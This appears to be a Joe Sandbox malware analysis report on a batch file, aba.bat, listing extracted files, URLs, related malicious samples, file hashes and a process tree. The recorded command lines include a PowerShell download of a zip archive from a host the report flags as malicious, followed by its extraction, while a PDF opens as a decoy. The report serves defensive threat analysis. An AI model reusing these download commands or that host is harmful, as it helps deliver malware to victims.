C:\Users\user\Downloads\ymca\Python312\Lib\argparse.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\ast.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\__main__.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\base_events.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\base_futures.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\base_subprocess.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\base_tasks.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\events.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\exceptions.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\format_helpers.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\futures.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\locks.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\log.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\mixins.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\proactor_events.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\protocols.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\queues.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\runners.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\selector_events.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\sslproto.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\staggered.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\streams.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\subprocess.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\taskgroups.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\tasks.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\threads.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\timeouts.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\transports.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\trsock.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\unix_events.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\windows_events.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\asyncio\windows_utils.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\base64.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\bdb.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\bisect.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\bz2.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\cProfile.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\calendar.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\cgi.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\cgitb.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\chunk.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\cmd.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\code.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\codecs.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\collections\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\collections\abc.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\colorsys.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\compileall.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\concurrent\futures\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\concurrent\futures\_base.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\concurrent\futures\process.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\concurrent\futures\thread.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\configparser.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\contextlib.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\contextvars.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\copy.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\copyreg.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\crypt.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\csv.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\ctypes\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\ctypes\_aix.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\ctypes\_endian.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\ctypes\macholib\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\ctypes\macholib\dyld.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\ctypes\macholib\dylib.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\ctypes\macholib\fetch_macholib	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\ctypes\macholib\framework.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\ctypes\util.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\curses\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\curses\ascii.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\curses\panel.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\curses\textpad.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\dataclasses.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\dbm\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\dbm\dumb.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\dbm\gnu.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\dbm\ndbm.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\difflib.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\dis.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\doctest.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\idlelib\idle_test\README.txt	0%	ReversingLabs

Name	Source	Malicious	Reputation
https://bugs.python.org/issue?@action=redirect&bpo=30579	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=30215	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=31429	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=30697	3.6.html.15.dr, 3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=28134	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=29102	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=28257	3.6.html.15.dr	false	unknown
https://github.com/python/cpython/issues/88048	3.6.html.15.dr, 3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=30693	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=27040	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=31540	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=27041	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32630	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=31664	3.7.html.15.dr	false	unknown
https://peps.python.org/pep-0528/	3.6.html.15.dr, windows.html2.15.dr	false	unknown
http://bugs.python.org/issue6857.	_pydecimal.py.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=28370	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=22829	3.6.html.15.dr	false	unknown
http://bugs.python.org/issue22107	filesystem.py.15.dr	false	unknown
https://cython.org/	design.html.15.dr	false	unknown
https://docs.python.org/3/faq/design.html	design.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=8637	3.6.html.15.dr	false	unknown
http://vptriathloninc.com:5022	powershell.exe, 00000005.00000002.2677893788.00000275D2EA8000.00000004.00000800.00020000.00000000.sdmp	true	unknown
https://bugs.python.org/issue?@action=redirect&bpo=27056	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=27177	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=28025	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=27172	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=31650	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=11822	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=28022	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32741	3.7.html.15.dr	false	unknown
https://peps.python.org/pep-0529/	3.6.html.15.dr, windows.html2.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=26081	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=31415	3.7.html.15.dr	false	unknown
http://bugs.python.org/issue2528	filesystem.py.15.dr	false	unknown
http://speleotrove.com/decimal/decarith.html	_pydecimal.py.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=21862	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=16285	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=2091	3.6.html.15.dr	false	unknown
https://github.com/python/cpython/blob/main/Doc/faq/extending.rst	extending.html0.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=30436	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=31648	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=11913	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=30794	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=27140	3.6.html.15.dr	false	unknown
https://peps.python.org/pep-0526/	3.6.html.15.dr, 3.7.html.15.dr, typing.html.15.dr	false	unknown
https://peps.python.org/pep-0538/	3.7.html.15.dr	false	unknown
https://docs.python.org/3/library/tokenize.html	tokenize.html.15.dr	false	unknown
http://crl.ver)	svchost.exe, 00000007.00000002.3370058687.00000274CCCA1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=19764	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=22807	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=14191	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=31638	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=31639	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=30541	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32609	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=28003	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=27392	3.6.html.15.dr	false	unknown
https://peps.python.org/pep-0515/	3.6.html.15.dr	false	unknown
https://github.com/pygments/pygments/issues	cmdline.py.15.dr	false	unknown
https://peps.python.org/pep-0539/	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=31756	3.7.html.15.dr	false	unknown
https://github.com/MagicStack/uvloop/tree/v0.16.0	events.py.15.dr	false	unknown
https://manpages.debian.org/strftime(3)	time.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=20995	3.7.html.15.dr	false	unknown
https://docs.python.org/3/library/time.html	time.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=9998	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=33642	3.6.html.15.dr, 3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=11734	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32311	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32433	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32314	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32677	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32436	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=28050	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=33768	3.6.html.15.dr, 3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=18018	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=21417	3.7.html.15.dr	false	unknown
https://mail.python.org/pipermail/python-dev/2017-December/151283.html	3.7.html.15.dr	false	unknown
https://peps.python.org/pep-0511/	3.6.html.15.dr	false	unknown
https://peps.python.org/pep-0523/	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32320	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32441	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=27099	3.6.html.15.dr, 3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=5288	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=6135	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=13802	3.6.html.15.dr, 3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=27095	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32662	3.7.html.15.dr	false	unknown
https://peps.python.org/pep-0525/	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=31574	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=31338	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=23848	3.6.html.15.dr	false	unknown
https://peps.python.org/pep-0524/	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=19475	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=23722	3.6.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=21423	3.7.html.15.dr	false	unknown
https://docs.python.org/3/whatsnew/3.7.html	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32659	3.7.html.15.dr	false	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32418	3.7.html.15.dr	false	unknown

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1547374
Start date and time:	2024-11-02 09:29:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	aba.bat
Detection:	MAL
Classification:	mal52.winBAT@25/1083@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 1 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .bat

Time	Type	Description
04:30:10	API Interceptor	65x Sleep call for process: powershell.exe modified
04:30:12	API Interceptor	2x Sleep call for process: svchost.exe modified
04:30:23	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
04:31:34	API Interceptor	2259x Sleep call for process: conhost.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	park.bat	Get hash	malicious	Unknown	Browse	51.195.251.11
	ICBM.exe	Get hash	malicious	Xmrig	Browse	51.210.150.92
	nuklear.arm.elf	Get hash	malicious	Mirai	Browse	198.27.68.52
	debug.dbg.elf	Get hash	malicious	Gafgyt, Mirai	Browse	178.32.95.205
	ICBM.exe	Get hash	malicious	Xmrig	Browse	51.195.138.197
	ICBM.exe	Get hash	malicious	Xmrig	Browse	51.195.43.17
	D4FX3QYunY.exe	Get hash	malicious	DarkVision Rat	Browse	144.217.96.196
	dDEjicKkUS.exe	Get hash	malicious	RHADAMANTHYS	Browse	51.75.171.9
	Xteam30.hta	Get hash	malicious	RHADAMANTHYS	Browse	51.75.171.9
	Pt7TlAjQtn.exe	Get hash	malicious	AveMaria, WhiteSnake Stealer	Browse	37.187.21.49

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Downloads\ymca\Python312\Lib\_collections_abc.py	tut.bat	Get hash	malicious	Unknown	Browse
	8n3W4yKYeB.exe	Get hash	malicious	Unknown	Browse
	contract_review.exe	Get hash	malicious	XWorm	Browse
	new.bat	Get hash	malicious	Unknown	Browse
	new.bat	Get hash	malicious	Unknown	Browse
	pypa.py	Get hash	malicious	Unknown	Browse
C:\Users\user\Downloads\ymca\Python312\Lib\_aix_support.py	tut.bat	Get hash	malicious	Unknown	Browse
	8n3W4yKYeB.exe	Get hash	malicious	Unknown	Browse
	contract_review.exe	Get hash	malicious	XWorm	Browse
	new.bat	Get hash	malicious	Unknown	Browse
	new.bat	Get hash	malicious	Unknown	Browse
	pypa.py	Get hash	malicious	Unknown	Browse

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263389006424481
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH01:9JZj5MiKNnNhoxuo
MD5:	EE21276A1C21372B2DBCFA57CACAC12D
SHA1:	69973F1468B819A73BDD2F1DE26E0122F49B8E33
SHA-256:	94F90317EEE43A1B616C062497F6C22CE12E972F5E2E5A465FBC6478FF3DB93D
SHA-512:	5E9D5B2EA746E7492FF6B717D731AC65320EA163BD6314AE98C7C78F0F45170E6FA423EBAD566563D0EA83ED3DDBAB0C0F05E891B085BCCAA9BF99E22E9AC321
Malicious:	false
Reputation:	low
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report aba.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6a4a8982-1195-4bc4-bb04-3ab9b92f2903.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6088

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Windows Analysis Report
aba.bat

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.109784877245321
Encrypted:	false
SSDEEP:	6:HAdhQ+N+q2PN72nKuAl9OmbnIFUt8YAdhQuZmw+YAdhQqVkwON72nKuAl9OmbjLJ:UWvVaHAahFUt8tr/+th5OaHAaSJ
MD5:	E4210153AEA441B05588E51F2A406157
SHA1:	C78B132962C660E29B4325656474FD0BF933AF99
SHA-256:	B62B9B500223E193B8305E88D96ADB05C6C144D1C96100DC50EC72EEFC9A7E96
SHA-512:	3C0E22FD5788E9C586EC5A1847658D9F446C60C84706B12603E1FD8D0C032296A27FAA2B17E5A83DC49E219C71743ABC3E3591D30F49659827AFDA9521A73A3F
Malicious:	false
Preview:	2024/11/02-04:30:12.050 1cc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/11/02-04:30:12.054 1cc8 Recovering log #3.2024/11/02-04:30:12.054 1cc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	26604
Entropy (8bit):	5.054031267676725
Encrypted:	false
SSDEEP:	768:CinHzwiNKe7NZotAHk4VlOdB5cCYoUV3IpNBQkj29YQhjOardFwOkMx:CinHzwiNKeUtAHk4VlOdB5cCYoUV3CN+
MD5:	7C602CA210CBFD7BD607DE4E4CAA9A92
SHA1:	7202B3D1C0889E21AD19E83B714A755F9E6D4096
SHA-256:	0B9780B0FB1F6098A52B217056CF6400DE465FE203C2A7C6C7D94C46E28701D2
SHA-512:	9BB59D97C9FDD8077633E8A647D91601419034904FD05B1C74A45954F6A4115901C2D11124D5C0A8A593C3188F12DDB54C9BC5B6E596B958D5CCFDA0D99730C9
Malicious:	false
Preview:	PSMODULECACHE.(.......z..I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1........Add-MpPreference........Get-MpThreatCatalog........Get-MpThreat........Update-MpSignature........Remove-MpPreference........Get-MpPreference........Get-MpThreatDetection........Set-MpPreference........Get-MpComputerStatus........Start-MpScan........Start-MpWDOScan........Remove-MpThreat.........wMk.z..K...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1........Clear-BitLockerAutoUnlock........Lock-BitLocker........Backup-BitLockerKeyProtector........Resume-BitLocker........Disable-BitLockerAutoUnlock....!...BackupToAAD-BitLockerKeyProtector........Add-BitLockerKeyProtector........Unlock-BitLocker........Enable-BitLockerAutoUnlock........Disable-BitLocker........Remove-BitLockerKeyProtector........Enable-BitLocker........Suspend-BitLocker........Get-BitLockerVolume........@.8o.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerSh

File type:	DOS batch file, ASCII text, with CRLF line terminators
Entropy (8bit):	5.256682280956598
TrID:
File name:	aba.bat
File size:	3'517 bytes
MD5:	ea3d0f0e2de5578f6d522ef614096b70
SHA1:	32ebb69cc3675036560a00a6bddbeeab7351e641
SHA256:	4f02b6efab9a261cfbb6d5c6abff8b3e5e4bcd9cb8e72e2c60e32b9e63660130
SHA512:	bbef58202b387546de1e41a6045c7d10ad524e783510de5a38efecdb8851328d71bdbd6f2523c0e7dc5ea059182a91b43894bb620e170fbad262807c25dea816
SSDEEP:	96:MDCnDTRh17GsrgyaPTBlnrHOjGUEeWCz+:MDGTRh6yalrWz+
TLSH:	4971849764876171097292E7673C17F0A50DA79F8944398233F1C8B1B9AA3EDC6E44CF
File Content Preview:	@echo off..setlocal....:: Function to search for and open a PDF file in the Downloads folder..echo Searching for PDF files in the Downloads folder.....set "pdfFile="..for %%f in ("%USERPROFILE%\Downloads\*.pdf") do (.. set "pdfFile=%%f".. goto :open

Target ID:	0
Start time:	04:30:07
Start date:	02/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\aba.bat" "
Imagebase:	0x7ff6450f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	04:30:08
Start date:	02/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://vptriathloninc.com:5022/ISENSYS.zip' -OutFile 'C:\Users\user\Downloads\ISENSYS.zip' }"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	04:30:11
Start date:	02/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	15
Start time:	04:31:09
Start date:	02/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\ISENSYS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
